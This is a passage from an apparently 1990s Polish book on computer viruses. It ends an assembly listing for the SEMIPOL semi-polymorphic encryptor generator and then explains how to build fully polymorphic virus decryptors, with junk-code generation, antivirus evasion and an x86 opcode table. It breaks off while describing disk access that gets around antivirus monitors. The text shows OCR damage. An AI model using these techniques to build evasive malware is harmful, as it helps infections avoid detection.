Semi_Petla dw ? ; \ w momencie, kiedy sa potrzebne
Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej
; / zmienic

background image

PseudoZarodek dw ? ; \ aktualny zarodek generatora liczb
; / pseudolosowych
TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego bufora
; - = 256 bajtow, (o rozmiarze co najmniej
; / rownym dlugosci kodu wirusa)

;-----------------------------------------------------------------------------
PseudoLosowa: ; generuje liczbe pseudolosowa
; z zakresu 1..65535
mov ax,0FFFFh

PseudoLosowaAX: ; przedzial w AX

push dx ; zachowaj na chwile DX

Call ZmienPseudoZarodek ; zmien zarodek

mul PseudoZarodek ; DX:AX:=przedzial*Zarodek
xchg ax,dx ; AX:=0..przedzial

inc ax ; pomin zero
pop dx ; przywroc DX ze stosu

ret

ZmienPseudoZarodek: ; zmienia PseudoZarodek

push ax ; zachowaj stary AX

in al,40h ; AL:=przypadkowa wartosc
xchg ah,al ; AH:=AL
in al,40h ; AX:=przypadkowa wartosc
xor ax,0ABCDh ; operacje pomocnicze
add ax,1234h ; operacje pomocnicze
mov PseudoZarodek,ax ; przepisz nowy zarodek

pop ax ; przywroc stary AX

ret ; powrot z procedury

;----------------------------------------------------------------------------;
; Programik do zaszyfrowania wyswietlajacy komunikat ;
; przy uzyciu 09/21 ;
;----------------------------------------------------------------------------;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset
StartKoduPrzykladowego

background image

StartKoduPrzykladowego:
call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu
TrikCALL_POP:
pop si ; wez relatywny ofset, gdzie kod jest w pamieci

mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3
add dx,si ; DX:=ofset do tekstu (relatywny)

mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje

int 20h ; powrot do DOS (program typu COM)

TePrzyklad db CR,LF ; tekst do wyswietlenia
db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'
db DOLAR
KoniecKoduPrzykladowego:
;-----------------------------------------------------------------------------

TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',
db CR,LF,NUL
TeGenerator db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL
AktualnaNazwaPliku db 'SEMI'
AktNumPliku db '0001'
db '.COM',NUL
TeCRLF db CR,LF,NUL

PSP_Segment dw ?
UchwytPliku dw ?
LiczbaPlikow dw ?
BuforDocelowy db 4096 dup(?)

StosStart db RozmiarStosu dup(?)
StosKoniec:

SEMI_POL ENDS

END Start

8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć
przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura
taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych
INDEX:=Pocz╣tekZaszyfrowanegoKodu

background image

FOR I:=1 to Licznik do begin
DEKODUJ_1 DANÑ [INDEX]
DEKODUJ_2 DANA [INDEX]
DEKODUJ_N DANA [INDEX]
INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX,
(E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany.
Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika).
Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy
pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów
80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????],
[BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może
zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania,
które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez
zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich
użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej,
czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po
uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego
końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub
zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja
sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego
dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas
działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku
wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG
REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę
i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część
dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz
niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą
być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko
jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy
uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze
Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;

background image

> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP
oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie
odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w
zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej
zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np.
zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego
rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych
instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest
ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie
łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż
z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar
instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi
antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała
fragment typowych programów komputerowych, stąd też wskazane jest używanie w
generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji
systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które
spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową
aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze
(AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych
rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są
bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/??
dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań
procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem
stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu
typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci.
Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie
przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie
wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości
rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w
której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch
segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np.
wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci
określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne
naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w
spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować
każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w
których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji
LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż
modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie

background image

zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników.
Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD,
która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany
efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie
odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi
przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX
XOR CX,CX ; operacja XOR na tych samych operandach zeruje je
SUB CX,CX ; odejmij CX od CX, w efekcie CX=0
AND CX,0 ; iloczyn logiczny z zerem jest zerem
ZerujCX: ; po wykonaniu pÛtli LOOP ZerujCX
; rejestr CX bÛdzie r¾wny O
MOV CX,XYZ ; wpisz do rejstru CX warto£µ
SUB CX,XYZ ; i potem j╣ od niego odejmij
MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy
MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr¾w 8-bitowych SUB
CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących
indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np.
zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,????
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura
dekodująca powinna mieć postać podobną do poniższej sekwencji:
....... ; wype│niacz
inicjuj rejestr - licznik lub indeks
....... ; wype│niacz
inicjuj rejestr - indeks lub licznik
....... ; wype│niacz
pierwsza instrukcja dekodera
....... ; wype│niacz
druga instrukcja dekodera
....... ; wype│niacz
n-ta instrukcja dekodera
....... ; wype│niacz
sprawdzenie warunku zako±czenia pÛtli
....... ; wype│niacz
skok, je┐eli warunek spe│niony
....... ; wype│niacz
w│a£ciwy, zaszyfrowany
kod wirusa, do kt¾rego

background image

zostanie przekazane
sterowanie po rozkodowaniu
....... ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową
procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy
antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod
wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej
procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli
dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu,
który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie
jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86
(kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji
wykorzystywanych przez języki wysokiego poziomu
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji
podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB
(386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora,
a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu
chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy
wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na
przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy
dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00,
zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00.
Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć
sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać,
przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego
od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on
instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów
umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej
występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa
For I:=1 to N do GenerujInstrukcjÛ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania
procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i
zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy.
Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany,
przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder
rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do
znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać
mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurÛ GenerujInstrukcjÛ;

background image

X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjÛ sprawdƒ atrybuty instrukcji
wskazywanej przez X
if s╣ jakie£ operandy then
dla ka┐dego operandu begin
repeat
arg:=Pseudolosowa
if arg nie koliduje z zasobami dekodera to argument znaleziony
untii argument znaleziony lub furtka bezpiecze±stwa
wstaw operand=arg end else wstaw instrukcjÛ bez operand¾w;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, czÛ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }
Indeks:= 000 ;{Rejestr: z przedzia│u 000.. 111}
Licznik:= 001 ;{trzeba zdekodowaµ u┐ywane
; przez indeks dwa rejestry, w tym
; przypadku oczywi£cie rÛcznie }
IndeksModyf1:= 110 ; [numer rejstru SI}
IndeksModyf2:= 011 ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który
w tabeli jest zapisany jako:
01001Rej DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 -
bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca
operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7
Call RandomAX ; weƒ liczbÛ z przedzia│u 000...111

; liczba w AL (bo AH-0)

cmp AL,IndeksModyfl ; czy rejestr zajÛty przez

; pierwsza czÛ£µ indeksu ?
je SzukajArgumentu
cmp AL, IndeksModyf2 ; czy rejestr zajÛty przez

; druga czÛ£µ indeksu ?

je SzukajArgumentu
cmp AL, Licznik ; czy rejestr zajÛty przez licznik ?
je SzukajArgumentu
cmp AL,100b ; czy rejestr to SP ?
je SzukajArgumentu

; argument znaleziony i jest w AL

; AL=00000arg - argument na trzech

; m│odszych bitach

or al, 01001000b ; zsumuj logicznie z 5 bitami kodu

; operacj i DEC

stosb ; zapisz ca│a instrukcjÛ DEC arg do bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do
wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:

background image

Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest
określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego,
czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli
przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy.
Wartości przypisane poszczególnym rejestrom są następujące:
Rej

000

001

010

011

100

101

110

111

8-bitowe

AL.

CL

DL

BL

AH

CH

DH

BH

16-bitowe AX

CX

DX

BX

SP

BP

SI

DI

32-bitowe EAX

ECX

EDX

EBX

ESP

EBP

ESI

EDI

Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób
adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem,
będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się
wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16
bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16
- bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie
wystąpił przedrostek innego segmentu):
Mem

Seg/Mm

00

01

10

11 - operacja
na rejestrze o
numerze Mam,
a nie na
pamieci

000

DS

[BX+SI]

[BX+SI+O8]

[BX+SI+O16]

001

DS

[BX+DI]

[BX+DI+O8]

[BX+DI+O16]

010

SS

[BP+SI]

[BP+SI+O8]

[BP+SI+O16]

011

SS

[BP+DI]

[BP+DI+O8]

[BP+DI+O16]

100

DS

[SI]

[SI+O8]

[SI+O16]

101

DS

[DI]

[DI+O8]

[DI+O16]

110

DS/SS

DS:[O16]

SS:[BP+O8]

SS:[BP+O16]

111

DS

[BX]

[BX+O8]

[BX+O16]

Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-
bitowy):
Mem

Seg/Mm

00

01

10

11-operacja na
rejestrze o
numerze Mem,
a nie na
pamięci

000

DS

[EAX]

[EAX+O8}

[EAX+O32]

001

DS

[ECX]

[ECX+O8]

[ECX+O32]

010

DS

[EDX]

[EDX+O8]

[EDX+O32]

011

DS

[EBX]

[EBX+O8]

[EBX+O32]

100

[SIB]

[SIB+O8]

[SIB+O32]

101

DS/SS

DS:[O32]

SS:[EBP+O8]

SS:[EBP+O32]

110

DS

[ESI]

[ESI+O8]

[ESI+O32]

111

DS

[EDI]

[EDI+O8]

[EDI+O32]

background image

Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób
adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB
występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu
zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie
indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
Baza

Seg/Mm

00

01,10,11

000

DS

EAX

EAX

001

DS

ECX

ECX

010

DS

EBX

EBX

011

DS

EDX

EDX

100

SS

ESP

ESP

101

DS/SS

DS:O32

SS:EBP

110

DS

ESI

ESI

111

DS

EDI

EDI

Poniższa tabela zawiera wartości, które może przyjmować Indeks.
Index

Rejestr

000

EAX

001

ECX

010

EBX

011

EDX

100

-

101

EBP

110

ESI

111

EDI

Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może
przyjmować wartości przedstawione w poniższej tabeli:
Wartość Warunek
0000 O - overflow
0001 NO - not overflow
0010 C-carry
0011 NC-notcarry
0100 Z-zero
0101 NZ-not zero
0110 NA-notabove
0111 A-above

background image

1000 S-sign
1001 NS-notsign
1010 P-parity
1011 NP-notparity
1100 L-less
1101 NL-not less
1110 NG-notgreat
1111 G-great

Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub
logicznej, którą ma instrukcja wykonać.
Ope

000

001

010

011

100

101

110

111

Opis

ADD

OR

ADC

SBB

AND

SUB

XOR

CMP

Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym
=82/83 (jest to zrnniejszona lista Ope).
Ope2

000

001

010

011

100

101

110

111

Opis

ADD

ADC

SBB

SUB

CMP

Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
Ope

000

001

010

011

100

101

110

111

Opis

TEST

NOT

NEG

MUL

IMUL

DIV

IDIV

Op4 - opisuje instrukcje z pierwszym bajtem =FE,
Ope

000

001

010

011

100

101

110

111

Opis

INC

DEC

Op5 - opisuje instrukcje z pierwszym bajtem =FF.
Ope

000

001

010

011

100

101

110

111

Opis

INC

DEC

CALL
NEAR

CALL
FAR

JMP
NEAR

JMP
FAR

PUSH

Ops - opisuje różne rodzaje przesunięć.
Ope

000

001

010

011

100

101

110

111

Opis

ROL

ROR

RCL

RCR

SHL

SHR

SAL

SAR

Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na
podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66)
określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do
wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po
wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na
podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.

background image

Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po
wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji
zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne
nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie) Mnemonik
00001111 1000Wwww Reladr16 JWwww Reladr16
00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]
00001111 10100000 PUSH FS
00001111 10100001 POP FS
00001111 10100010 CPUID
00001111 10100011 MmRejMem BTMem,Rej
00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8
00001111 10100101 MmRejMem SHLD Mem,Rej,CL
00001111 1010011D MmRejMem CMPXCHG Mem,Rej
00001111 10101000 PUSH GS
00001111 10101001 POP GS
00001111 10101011 MmRejMem BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8
00001111 10101101 MmRejMem SHRD Mem,Rej,CL
00001111 10101111 MmRejMem IMUL Rej,Mem
00001111 10110010 MmRejMem LSS Rej,Mem
00001111 10110011 MmRejMem BTS Mem,Rej
00001111 10110100 MmRejMem LFS Rej,Mem
00001111 10110101 MmRejMem LGS Rej,Mem
00001111 10110110 MmRejMem MOVZX Rej,Mem
00001111 10110111 MmR32Mem MOVZX R32,Mem
00001111 10111011 MmRejMem BTC Mem,Rej
00001111 10111100 MmRejMem BSF Mem,Rej
00001111 10111101 MmRejMem BSR Mem,Rej
00001111 10111110 MmRejMem MOVSX Rej,Mem
00001111 10111111 MmR32Mem MOVSX R32,Mem
00001111 1100000D MmRejMem XADD Mem,Rej
00001111 11000111 Mm001Mem CMPXCHG8B mem
00001111 11001r32 BSWAP r32
00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8
000Sg110 PUSH rejestr segmentowy Sg

background image

000Sg111 POP rejestr segmentowy Sg, Sg<>01,
bo 00001111= rozszerzene instrukcje (w 8086
by│a to instrukcja POP CS)
00100111 DAA
00101111 DAS
00110111 AAA
00111111 AAS
001Sg110 przedrostek segmentu Sg
000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem
000pe10D WartkomD Ope Akumulator,WartkomD
01000Rej INC rejestr Rej
01001Rej DEC rejestr Rej
01010Rej PUSH rejestr Rej
01011Rej POP rejestr Rej
01100000 PUSHA
01100001 POPA
01100100 FS:
01100101 GS:
01100110 przedrostek instrukcji 386+ (dane 32-bitowe)
01100111 przedrostek instrukcji 386+ (operandy 32-
bitowe)
01101000 WartkomD PUSH WartkomD
0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem
01101010 Wartkom8 PUSH Wartkom8
0110110D INSB, INSW, INSWD
0110111D OUTSB, OUTSW, OUTSD
0111wwww Reladre8 JWwww Reiadre8
1000000D MmOpeMem WartkomD Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem TEST Mem,Rej
1000011D MmRejMem XCHG Mem,rej
100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem
10001101 MmRejMem LEA Rej,Mem
10001111 Mm000Mem POP Mem
100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem
10010Rej XCHG rejestr Rej
10011000 CBW/CWDE
10011001 CWD/CDQ
10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs
10011011 wait
10011100 PUSHF/PUSHFD
10011101 POPF/POPFD
10011110 SAHF
10011111 LAHF
101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV
[WartkomD],Akumulator
1010010D MOVSB,MOVSW, MOVSD

background image

1010011D CMPSB, CMPSW, CMPSD
1010100D WartkomD TEST Akumulator,WartkomD
1010101D STOSB, STOSW, STOSD
1010110D LODSB, LODSW, LODSD
1010111D SCASB, SCASW, SCASD
1011DRej WarkomD MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8
11000100 MmRejMem LES Rej,Mem
11000101 MmRejMem LDS Rej,Mem
1100011D Mm000Mem WarkomD MOV Mem,WartkomD
11001100 INT3
11001101 Wartkom8 INT Wartkom8
11001110 INTO
11001111 IRET
1100F010 WartkomF RET WartkomF
1100F011 RET N/F
1101000D MmOpsMem Ops Mem,1
1101001D MmOpsMem Ops Mem,CL
11010110 SETALC
11010111 XLAT
11100000 Reladre8 LOOPNZ Reladre8
11100001 Reladre8 LOOPZ Reiadre8
11100010 Reladre8 LOOP Reladre8
11100011 Reladre8 JCXZ/JECXZ Reladre8
11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10
11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10
1110010D Numport8 IN Akumulator,Numport8
1110011D Numport8 OUT Numport8,Akumulator
11101000 Reladr16 CALLNEAR Reladr16
11101001 Reladr16 JMP NEAR Reladr16
11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs
11101011 Reladre8 JMP SHORT Reladre8
1110110D IN Akumulator, DX
1110111D OUT DX,Akumulator
11110000 LOCK
11110010 REPNZ
11110011 REP, REPZ
11110101 CMC
1111011D Mm000Mem WartkomD TEST Mem,Wartkom8
1111011D MmOp3Mem Op3 Mem
11111000 CLC
11111001 STC
11111010 CLI
11111011 STI
11111100 CLD
11111101 STD
11111110 MmOp4Mem Op4 Mem

background image

11111111 MmOp5Mem Op5 Mem

ROZDZIAŁ 9

9.1. Sposoby dostępu do dysków
Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów
polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h).
Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze
względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego
sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub
też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR),
BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego
bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć
przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być
dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach -
nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna
bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu
